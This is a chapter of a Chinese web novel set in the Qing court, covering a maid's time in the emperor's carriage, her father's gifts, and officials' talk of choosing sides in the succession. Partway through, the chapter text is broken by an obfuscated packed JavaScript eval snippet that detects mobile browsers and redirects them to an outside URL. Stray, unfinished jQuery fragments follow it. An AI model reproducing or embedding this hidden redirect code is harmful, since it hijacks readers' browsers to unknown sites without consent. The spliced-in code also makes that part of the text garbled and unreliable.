35. 站队

作品:《宫女上位(清穿)

    不,是他丢的帕子丑,李佳音绣的可不丑。


    都被气糊涂了。


    李朝云喝了口茶,“明儿把他扔后头去。”


    他管着库房调度,把人扔去后面很简单,若不是李崇云气到他,也不至于这么使绊子,毕竟大家都是内务府的,抬头不见低头见。


    小路子点头。


    早晨启程,走了没多久,日头便毒起来。


    李佳音竖着耳朵,没听圣上要喝茶,也放松下来。


    也觉得热起来,哪怕靠在木屏上,也觉得燥热。


    想起芸方说的话。


    伸出手捞起轻纱,让冰凉的气息散出来。


    只是她不熟练,扯动轻纱时,也撩动了里面那层布。


    康熙倒也没勤快到在马车上看折子,靠着车壁把玩珠串,见隔热的布轻轻晃动,便将目光投过去。


    虚虚的手影在外头晃。


    随行伺候的,有些会动心思让自己过的更舒坦。


    但是动作这么不小心的,就只有一个。


    那只手捞起轻纱,过了好一会儿,又拉起里头的布,素白的小手便在堆叠的明黄色布料下停住。


    康熙都不知道该说她胆子大,还是没胆子。


    “既然外头热,就进来吧。”


    圣上的声音很清晰,李佳音偷偷伸进去的手一顿,在芸方的注视下,把手收回来。


    里面确实更凉快。


    李佳音进去后便站在一角,旁边是一排柜子,放了书。


    若是寻常马车放书很奇怪,可这是御驾,此时又在驰道上,行驶时没有颠簸,放书也很正常。


    “过来给朕捶捶腿。”康熙见她像兔子似的缩在角落,便指了指脚边的绣墩子。


    这活儿不是第一次干,她也熟练了些。


    坐下后,抬手就往他腿上捶。


    捶的力气不大,有些枯燥。


    李佳音听着他捻动珠串的声音,浑身的燥热都被凉气驱散,捶着捶着开始犯困。


    头往下垂的时候又会突然清醒。


    他便看着她脑袋一点一点的,手上的动作也慢下来,最后几乎快将脑袋搁在他腿上。


    “咳咳。”


    马车为了存凉气,做了中空,外头的声音也能减小许多,突然响起的咳嗽声就有点突兀。


    李佳音仰头,看似十分清醒的望着他。


    一双眼睛里有疑惑,像是等待他吩咐似的。


    “叫人送点酸梅汤来。”康熙在她的注视下说。


    李佳音立刻起身去传话。


    后头运了冰块,也备了不少喝的放在存冰块的马车上,没一会儿便有个食盒递上来。


    李佳音伸手去接,胳膊被手里的重量带的一沉,险些没接住。


    打开后,才发现里面装了一大盆酸梅汤,还有一碗晶莹剔透的碎冰块。


    她盛了一碗,又往里面添了点冰块,才端进去。


    康熙接过,也没喝,只是道:“余下的你们分了吧。”


    李佳音退出去,和芸方一人盛了一碗。


    她端着自己那碗送到嘴边,清冽酸甜的汤水便从嘴巴灌进胃里,在这个时候喝一碗,除了舒服还是舒服。


    但芸方手里的却送到外头。


    她看看梁九功的笑脸,扭头见芸方平静望向自己,问:“怎么了?”


    李佳音连忙摇头。


    好像芸方在的时候,梁总管也总是在?


    瞬间这个念头就被扔到脑后。


    梁总管日日夜夜都跟着圣上,芸方又是茶水房的,凑一起很正常啊。


    喝了酸梅汤,没多久队伍便停下来。


    李佳音在马车上无聊的扣手指,扣完了又看衣袖上的绣花。


    在她快从上面感悟到如何提升女红时。


    梁总管来传消息,说休息的营地搭好了。


    康熙下了御驾,李佳音和芸方也跟着下去。


    外面是一片疏密有度的帐篷。


    中午时分太热,不好继续赶路,便驻扎休整一番。


    李佳音也回到宫女们都帐篷里,快吃午饭时,有个小太监来叫她,说是内务府的李管事要见见她。


    她以为是李朝云,但想了想,太监都叫总管,便随他出去了,这次她还带了蘅雪一起。


    “阿玛。”李佳音见到人的时候眼圈都红了。


    李崇云也是刚知道她伤了额头,见到的时候差点儿没哭出来,但也只是镇定的点点头。


    “阿玛听说你受伤了,才想见见你。”他从怀里掏出几罐子药,“现在看似乎没什么,这药倒是备多了。”


    李崇云嘿嘿笑着,把药给她。


    也没多说话,便连连摆手,“外头热,快回去吧,这一路有多是机会见呢。”


    见她要哭不哭的离开,直到身影都看不见。


    他才叹气。


    他闺女在家里哪里受过这样的委屈,学女红扎了手都被抱着哄许久。


    进宫不到一年,身上的伤又多了。


    他心疼啊。


    扭头就写了信送回京城,想让福晋想办法,能不能把她提前弄出宫去。


    林佳氏刚拨完算盘,书信一到,还没看就叹气,看完更是气都吐的不顺了。


    她要是有办法,还能在这儿坐着?


    自家老爷们儿真是个没脑子的。


    随即又想到了什么,回了封信。


    李崇云收到信,艰难的读完,烧了信纸,找手底下的小太监,嘱咐他们去买点补身子补气血的东西。


    拿到东西后,直奔膳房,塞了银子,盯着煮好,托人送给李佳音。


    这个时候正用午膳呢,午膳用完就要收拾收拾启程。


    李佳音拿到一食盒的汤,也吃不完,便和其他人分了。


    想着是自己阿玛的心意,吃的比之前多,上了马车都在打嗝。


    【吃不下就别吃啊。】


    黑猫蹲在马车里,听她又打了个嗝。


    李佳音用脚拨开它,【你懂什么,这可是我阿玛特意叫人送来的。】


    黑猫的嫌弃溢于言表。


    【哦。】


    不就是爹娘么,系统天生就没有,它骄傲了?


    【多吃吃也好,伤口恢复的快。】


    黑猫在她换药的时候都会看一眼,恢复的不错,哪怕天气热,也没有出现发炎的情况,加上她吃的清淡,留疤的概率很小。


    李佳音连连点头。


    在马车上有些无聊,加上临近傍晚,有风吹过,倒也不算太热,她便趴在马车上往外看。


    又走了两个时辰,估摸着再过半个时辰,天才黑下来,便停下扎营了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903541|190877||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就这么赶了半个月的路,九月初终于第一次住进正儿八经的屋子。


    李佳音躺在床上,脑袋空空,感觉浑身都疼。


    要不说远行是苦差事呢,她还天天在圣上的马车上,没受多少颠簸,都觉得受不了。


    这是一处行宫,地方大,加上天气凉下来,预防长久路途颠簸会出现大批人员生病,康熙便下令休息几日。


    众人才算松了口气。


    李朝云叫人清点库存,和其他总管、管事对了单子,列出要加紧采买的东西。


    忙了一日,李朝云才得闲,叫田盛一起喝酒。


    “现在我这差事可清闲了,整日整日的见不着万岁爷。”田盛摇头,这没了随行的娘娘们,他就没活儿。


    李朝云笑了笑,“这不是还要待几日,说不定谁就要献上美人呢。”


    田盛摇头,吞吞吐吐的。


    那副模样,一看就是顾忌他。


    见他不在意,才道:“这回真不同,万岁爷怕是上心了,日日都带着,说不定回京就要多一位娘娘。”


    李朝云皱眉,虽然是早晚的事,可上心了就不同了。


    “怎么瞧出来的?”


    田盛声音小了,“咱万岁爷,你又不是不知道,从畅春园到现在,一个月没召人伺候。”


    他自然知道,不然宫里那些庶妃、围房宫女怎么来的。


    就是知道,才觉得不好。


    “没别的法子?”他喝了杯酒,不甘的问。


    田盛摇头,“有啊,但是不可能。”


    “说说。”


    田盛仰头看屋顶,“万岁爷不叫咱们记档,那就不是宫里的人,到日子,别人不知道,说不定就放出去了。”


    这话说出来,他一点儿不慌,李朝云心里却惊了。


    不记档,但是圣上也记得,到日子不可能放出去。


    除非……圣上驾崩。


    算算时间,九年后圣上也四十四了。


    古往今来,没活够三十多皇帝也不少。


    “你有这想法,真是大逆不道。”李朝云笑着骂他。


    田盛却笑到美滋滋的,“你不是也大逆不道。”


    包衣们拿的东西多了,心也大了,田盛不过是其中之一。


    他没胆子干什么大事,不代表没胆子睁一只眼闭一只眼,顺水推舟罢了。


    “乌雅家这次损失不小,若是真不谋一下以后,怕是长久不了。”


    田盛说着,嗤笑一声。


    他们家胆子大,却不知道四阿哥会不会听他们的话。


    他不认为乌雅家是想推十四阿哥上去,毕竟年纪还小,和前面的哥哥们差着岁数呢。


    “内务府不是在太子爷手里么。”李朝云问。


    “那你是太子爷的人?也不是啊。”田盛说这话的时候,满脸嘲笑。


    笑完,他给李朝云倒了杯酒,“不止乌雅家,好几家都想着拉拢咱们呢,哪怕九年不成,十九年后也是要搅起一潭混水的,你可得看准了。”


    李朝云看向他的目光泠冽,“你选了?”


    对面的人点头。


    二人沉默的喝酒,月上枝头才分开。


    李朝云没想到,内务府的水已经混到这一步,都开始威逼利诱的叫人站队了。


    大概谁都不觉得圣上能活到七八十吧。